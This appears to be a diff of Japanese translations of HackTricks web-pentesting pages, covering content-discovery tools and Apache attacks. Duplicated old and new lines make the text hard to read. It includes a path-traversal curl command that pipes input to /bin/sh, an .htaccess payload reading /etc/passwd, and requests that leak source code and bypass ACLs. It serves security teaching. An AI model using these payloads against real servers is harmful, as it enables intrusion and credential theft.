- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS の beautify 機能を持つ HTML スパイダーで、JS ファイル内の新しいパスを検索できます。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も確認すると良いでしょう。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出します。bug hunters や red team、infosec の方に有用です。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使って JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテナンスされていない模様。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML ファイルを受け取り、正規表現で相対 URL を抽出します(minify されたファイルから相対 URL を取り出すのに便利)。
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数のツールを使って JS ファイルから興味深い情報を収集します。
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを探索します。
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、そのページをロードするために読み込まれたすべての URL を出力します。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先述のツール群の複数のオプションを組み合わせたコンテンツ発見ツールです。
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ファイル内のパスやパラメータを見つける Burp extension。
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL を与えると beautified JS コードを取得するツール。
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定ターゲットのエンドポイント発見に使うツール。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見(wayback 内のレスポンスをダウンロードしてさらにリンクを探す)。
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めてクロールしたり、特定の regex を使って機密情報を検出。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): サイバーセキュリティ専門家向けの高度なマルチ機能 GUI web security Crawler/Spider。
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、path、secrets、その他の興味深いデータを抽出する Go パッケージと [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): リクエストからパラメータとエンドポイントを抽出して fuzzing/列挙用のカスタムワードリストを作成するシンプルな **Burp Suite extension**。
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): この作業に適した優れたツール。
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけられるすべてのリンクを表示。
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map の URL が分かれば、beautified な JS コードを取得するツール。
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): あるターゲットのエンドポイント発見に使うツールです。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見します(wayback のレスポンスをダウンロードしてさらにリンクを探します)。
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力まで行ってクローリングし、特定の正規表現で機密情報を見つけます。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): GUI ベースの多機能 web セキュリティクローラー/スパイダー。
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、パス、シークレット、その他興味深いデータを抽出する Go パッケージ兼 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Burp Suite extension。リクエストからパラメータとエンドポイントを抽出し、fuzzing や列挙用のカスタムワードリストを作成します。
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): この用途に優れたツールです。
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 発見可能なすべてのリンクを出力します。
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
ルートフォルダから **brute-forcing** を開始し、すべての **発見したディレクトリ** をこの方法で必ず brute-force してください。Spidering によって **発見された** すべてのディレクトリも同様です(これを再帰的に行い、使用するワードリストの先頭に見つかったディレクトリ名を追加することができます)。\
|
||||
ルートフォルダから **brute-forcing** を開始し、**この方法**で見つかったすべてのディレクトリと、**Spidering** によって発見されたすべてのディレクトリを必ず brute-force してください(これを **再帰的に** 行い、見つかったディレクトリ名をワードリストの先頭に追加して試すことができます)。\
|
||||
ツール:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Kali に同梱、**古い**(かつ **遅い**)が動作する。自己署名証明書を許可し、再帰検索が可能。ほかのオプションと比べると遅い。
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しないが**、再帰検索をサポート。
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可、**再帰検索はできない**。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポート。**
|
||||
- **Dirb** / **Dirbuster** - Kali に含まれる、**古い**(そして **遅い**)が機能するツール。自己署名証明書を許可し、再帰検索が可能。他のオプションと比べると遅すぎます。
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが、再帰検索をサポートします。**
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、ただし **再帰検索はサポートしていません**。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): spider ではないが、見つかった URL のリストを与えると重複した URL を削除するツール。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴から複数ページのディレクトリ一覧を作成する Burp Extension。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports に基づいて機能が重複する URL を削除。
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使用技術を検出し、使用するワードリストを選択。
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): スパイダーではありませんが、見つかった URL の一覧から「重複」URL を削除します。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴からディレクトリ一覧を作成する Burp Extension。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js の import に基づいて機能が重複する URL を削除します。
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使用されている技術を検出し、適切なワードリストを選択します。
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**推奨ワードリスト:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -267,41 +274,41 @@ Information about SSL/TLS vulnerabilities:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_新しいディレクトリが brute-forcing や spidering 中に発見された場合は、いつでもそのディレクトリを Brute-Force すべきです。_
|
||||
_注意: 新しいディレクトリが brute-forcing や spidering の過程で発見された場合は、必ずそのディレクトリに対して Brute-Forced を行ってください。_
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけ、takeovers の可能性を探る。
|
||||
- **File Backups**: すべてのファイルを見つけたら、実行ファイルのバックアップ("_.php_", "_.aspx_"...)を探す。バックアップの一般的な命名パターンは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._。ツール [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできる。
|
||||
- **Discover new parameters**: [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使って隠れたパラメータを発見できます。可能であれば、各実行可能な web ファイルで隠れたパラメータを検索してみてください。
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけます。これらは takeover の対象になり得ます。
|
||||
- **File Backups**: すべてのファイルを見つけたら、実行可能ファイルのバックアップ("_.php_", "_.aspx_"…)を探します。バックアップ名の一般的なバリエーションは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ またはツール [**bfac**](https://github.com/mazen160/bfac) **や** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできます。
|
||||
- **Discover new parameters**: 隠しパラメータを発見するために [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使用できます。可能であれば、各実行可能な web ファイルで隠しパラメータを探してみてください。
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** すべてのファイルのコメントを確認してください。**credentials** や **hidden functionality** が見つかることがあります。
|
||||
- CTF をプレイしている場合、一般的なトリックとしてページの **右側** にコメントで情報を **隠す**(ブラウザでソースを開くと見えないように大量のスペースを利用)ことがあります。別の方法として、複数の改行を使い、ページ下部のコメントに情報を隠すこともあります。
|
||||
- **API keys**: API key を見つけた場合、さまざまなプラットフォームの API key の使い方を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**](<https://github.com/l4yton/RegHex)/>)、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: **AIza** で始まるような API key を見つけたら、[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) でどの API にアクセスできるかチェックできます。
|
||||
- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているかどうか確認してください。その場合は [**check** the **permissions** of the bucket](buckets/index.html)。
|
||||
- CTF を行っている場合、よくあるトリックとしてページの右側のコメント内に情報を**隠す**ことがあります(ブラウザでソースを開いた場合に見えないように何百ものスペースを使う)。別の方法としては複数の改行を入れ、ページ下部のコメントに情報を隠す場合もあります。
|
||||
- **API keys**: API キーを見つけた場合、さまざまなプラットフォームの API キーの使い方を示すプロジェクトがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**](<https://github.com/l4yton/RegHex)/>)、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik のような形式の API キーを見つけた場合、どの API にアクセスできるかを確認するために [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を使えます。
|
||||
- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているか確認してください。その場合は、バケットのアクセス権を [**check** the **permissions** of the bucket](buckets/index.html)。
|
||||
|
||||
### Special findings
|
||||
|
||||
**spidering** と **brute-forcing** を行う際に、**注目すべき** 事項が見つかることがあります。
|
||||
spidering と brute-forcing を行う間に、注意すべき**興味深い****発見**があることがあります。
|
||||
|
||||
**Interesting files**
|
||||
|
||||
- CSS ファイル内の他のファイルへの **links** を探してください。
|
||||
- [.git を見つけた場合、いくつかの情報を抽出できることがあります](git.md)
|
||||
- .env を見つけた場合、api keys、dbs passwords、その他の情報が見つかることがあります。
|
||||
- **API endpoints** を見つけたら、[それらもテストすべきです](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルのようなことが多いです。
|
||||
- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つけた各 JS ファイルを **監視** するのも有益です。場合によっては、ファイルの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うことができます。
|
||||
- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認すべきです。
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- _**.env**_ ファイルを見つけた場合、api keys、DB パスワードなどの情報が含まれていることがあります。
|
||||
- **API endpoints** を見つけた場合は [should also test them](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルと似ていることが多いです。
|
||||
- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つかった各 JS ファイルを監視するのも有用です。場合によってはコードの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うと良いでしょう。
|
||||
- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認するべきです。
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- 多くの場合、使用されている正規表現を理解する必要があります。これには次が有用です: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- フォームが検出されたファイルを監視するのも良いです。パラメータの変更や新しいフォームの出現は、新たな脆弱な機能が導入されたことを示す場合があります。
|
||||
- 正規表現を理解する必要が生じる場面が多々あります。これには次が役立ちます: [https://regex101.com/](https://regex101.com) や [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- フォームが検出されたファイルを監視することも検討してください。パラメータの変更や新しいフォームの出現は、新たな脆弱性を示す可能性があります。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -312,28 +319,28 @@ _新しいディレクトリが brute-forcing や spidering 中に発見され
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
もしページがそのコードで **レスポンス** を返すなら、おそらく **誤設定された proxy** です。**`GET https://google.com HTTP/1.1`** のような HTTP リクエストを(host ヘッダやその他一般的なヘッダを付けて)送ると、proxy は _**google.com**_ へアクセスしようとし、SSRF を発見できます。
|
||||
もしページがこのステータスコードで応答する場合、設定ミスのあるプロキシである可能性が高いです。**もし次のような HTTP リクエストを送ると: `GET https://google.com HTTP/1.1`**(Host ヘッダや他の一般的なヘッダ付きで)、プロキシは _**google.com**_ にアクセスしようとし、SSRF を発見できることがあります。
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
実行中のサーバが認証を要求しており、それが **Windows** であるか、ドメイン名を尋ねるログインがある場合、**情報漏洩** を誘発できます。\
|
||||
ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組み上、サーバはヘッダ "WWW-Authenticate" に内部情報(IIS バージョン、Windows バージョン...)を返します。\
|
||||
要求しているサーバが **Windows** であったり、ログインがドメイン名を要求する場合、情報漏洩を引き起こすことができます。\
|
||||
ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組みにより、サーバは "WWW-Authenticate" ヘッダ内に内部情報(IIS バージョン、Windows バージョンなど)を返すことがあります。\
|
||||
これを自動化するには nmap のプラグイン "_http-ntlm-info.nse_" を使えます。
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
リダイレクト内にコンテンツを **埋め込む** ことが可能です。このコンテンツはブラウザがリダイレクトを実行するため **ユーザには表示されません** が、そこに何かが **隠されている** 可能性があります。
|
||||
リダイレクション内にコンテンツを入れることが可能です。このコンテンツはブラウザがリダイレクトを実行するためユーザーには表示されませんが、そこに何かが**隠されている**場合があります。
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
web アプリケーションの包括的な列挙が完了したら、多くの可能な脆弱性をチェックする時です。チェックリストは次にあります:
|
||||
包括的な web アプリケーションの列挙を終えたら、多くの可能性のある脆弱性をチェックする時です。チェックリストは以下にあります:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
web 脆弱性の詳細:
|
||||
Web 脆弱性に関する詳細情報:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -341,7 +348,7 @@ web 脆弱性の詳細:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
ページの変更を監視するには、例えば [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使い、脆弱性を導入する可能性のある修正を検出できます。
|
||||
ページの変更を監視して脆弱性の導入を検出するために、[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使うことができます。
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 実行されているPHP拡張
|
||||
## 実行可能な PHP 拡張
|
||||
|
||||
Apacheサーバーが実行しているPHP拡張を確認します。これらを検索するには、次のコマンドを実行できます:
|
||||
Apache サーバーが実行している PHP 拡張を確認します。検索するには、次のコマンドを実行できます:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
また、この設定が見つかる場所には次のようなものがあります:
|
||||
また、この設定が見つかる場所の例は次のとおりです:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
@ -21,33 +21,33 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
## LFI — .htaccess の ErrorDocument file provider (ap_expr) を経由
|
||||
## LFI を使った .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
あるディレクトリの .htaccess を制御でき、当該パスに対して AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 応答を任意のローカルファイル読み取りに変換できます。
|
||||
ディレクトリの .htaccess を制御でき、かつそのパスで AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 レスポンスを任意のローカルファイル読み取りに変えることができます。
|
||||
|
||||
- 要件:
|
||||
- Apache 2.4 で expression parser (ap_expr) が有効になっていること(2.4 ではデフォルト)。
|
||||
- vhost/dir が .htaccess による ErrorDocument の設定を許可している必要があります(AllowOverride FileInfo)。
|
||||
- Apache の worker ユーザーがターゲットファイルに対して読み取り権限を持っている必要があります。
|
||||
- vhost/dir が .htaccess で ErrorDocument を設定できるようになっていること(AllowOverride FileInfo)。
|
||||
- Apache worker user にターゲットファイルの読み取り権限があること。
|
||||
|
||||
.htaccess payload:
|
||||
.htaccess ペイロード:
|
||||
```apache
|
||||
# Optional marker header just to identify your tenant/request path
|
||||
Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
そのディレクトリ以下の存在しないパスをリクエストすることでトリガーします。例えば、userdir-style hosting を悪用する場合など:
|
||||
そのディレクトリ以下の存在しないパスへのリクエストでトリガーします。例えば userdir-style hosting を悪用する場合など:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
メモとヒント:
|
||||
- 絶対パスのみが機能します。コンテンツは404ハンドラのレスポンスボディとして返されます。
|
||||
- 実際の読み取り権限は Apache ユーザ(通常は www-data/apache)の権限になります。デフォルト設定では /root/* や /etc/shadow を読むことはできません。
|
||||
- たとえ .htaccess が root 所有でも、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして SFTP/FTP 経由で自分の置き換えをアップロードできることがあります:
|
||||
Notes and tips:
|
||||
- 絶対パスのみが動作します。コンテンツは404ハンドラのレスポンスボディとして返されます。
|
||||
- 実際の読み取り権限は Apache ユーザー(通常は www-data/apache)のものになります。デフォルト構成では /root/* や /etc/shadow を読むことはできません。
|
||||
- .htaccess が root 所有であっても、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして自分の置換を SFTP/FTP 経由でアップロードできる可能性があります:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- これを利用して DocumentRoot や vhost の設定パス下のアプリケーションソースを読み取り、シークレット(DB creds、API keys など)を収集できます。
|
||||
- これを利用して DocumentRoot や vhost の設定パス下にあるアプリケーションソースを読み、秘密情報(DB creds、API keys 等)を収集できます。
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
@ -74,9 +74,9 @@ curl http://server/user/orange
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
- **誤誘導された RewriteFlag の割り当て**
|
||||
|
||||
以下の rewrite rule では、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、パスに(画像など)別の種類のファイルを読み込ませつつ、`?` 以降に .php で終わる URL を送信して、その中に悪意のある php コードを含めることが可能です:
|
||||
以下の rewrite ルールでは、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、`?` の後に .php で終わる URL を送信しつつ、パスには別の種類のファイル(画像など)を読み込ませ、その中に悪意のある php コードを含めることが可能です:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
以下のような設定では、本来アクセスが拒否されるべきファイルにユーザーがアクセスできてしまうことがある:
|
||||
次のような設定ではアクセスが拒否されるはずのファイルに、ユーザーがアクセスできてしまうことがある:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
これは、デフォルトで PHP-FPM が `.php` で終わる URL(例: `http://server/admin.php%3Fooo.php`)を受け取り、さらに PHP-FPM が文字 `?` 以降を削除するため、前述の URL は前のルールで禁止されていても `/admin.php` を読み込めてしまうためです。
|
||||
これは、デフォルトでは PHP-FPM が `.php` で終わる URL(例: `http://server/admin.php%3Fooo.php`)を受け取り、PHP-FPM が文字 `?` より後を削除するため、前述の URL は前のルールで禁止されていても `/admin.php` を読み込めてしまうためです。
|
||||
|
||||
### DocumentRoot の混乱
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Apacheに関する面白い事実として、前述のrewriteはdocumentRootとrootの両方からファイルにアクセスしようとします。したがって、`https://server/abouth.html` へのリクエストはファイルシステムの `/var/www/html/about.html` と `/about.html` の両方を確認します。これは基本的にファイルシステム内のファイルにアクセスするために悪用できます。
|
||||
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
|
||||
|
||||
#### **サーバーサイドのソースコード公開**
|
||||
#### **サーバーサイドのソースコード開示**
|
||||
|
||||
- **CGIソースコードの公開**
|
||||
- **CGI ソースコードの開示**
|
||||
|
||||
末尾に%3Fを追加するだけで、cgi moduleのソースコードをleakするのに十分です:
|
||||
Just adding a %3F at the end is enough to leak the source code of a cgi module:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
- **PHP ソースコードを公開する**
|
||||
- **PHP ソースコードの公開**
|
||||
|
||||
サーバーが複数のドメインを持ち、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができます:
|
||||
サーバーに複数のドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができる:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
前の攻撃の主な問題点は、デフォルトではファイルシステムへのほとんどのアクセスが拒否されることであり、これは Apache HTTP Server の [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
前の攻撃での主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることであり、これは Apache HTTP Server の [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) にあるように:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
ただし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可しています:
|
||||
ただし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可します:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
|
||||
したがって、これらのディストリビューションでは **`/usr/share` 内にあるファイルを悪用することが可能です。**
|
||||
|
||||
**Local Gadget to Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
|
||||
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
|
||||
- **Nginx** や **Jetty** を使うサーバは、**/usr/share** 配下のデフォルトの Web ルートから機密な Web アプリケーション情報(例:**web.xml**)を公開してしまう可能性があります:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Local Gadget to XSS**
|
||||
|
||||
- Ubuntu Desktop に **LibreOffice** がインストールされている環境では、ヘルプファイルの言語切替機能を悪用することで **Cross-Site Scripting (XSS)** を引き起こす可能性があります。**/usr/share/libreoffice/help/help.html** の URL を操作することで、unsafe RewriteRule を介して悪意のあるページや古いバージョンへリダイレクトされる場合があります。
|
||||
- **LibreOffice installed** のある Ubuntu Desktop では、ヘルプファイルの言語切替機能を悪用すると **Cross-Site Scripting (XSS)** を引き起こす可能性があります。**/usr/share/libreoffice/help/help.html** の URL を操作することで、**unsafe RewriteRule** により悪意のあるページや古いバージョンへリダイレクトされる恐れがあります。
|
||||
|
||||
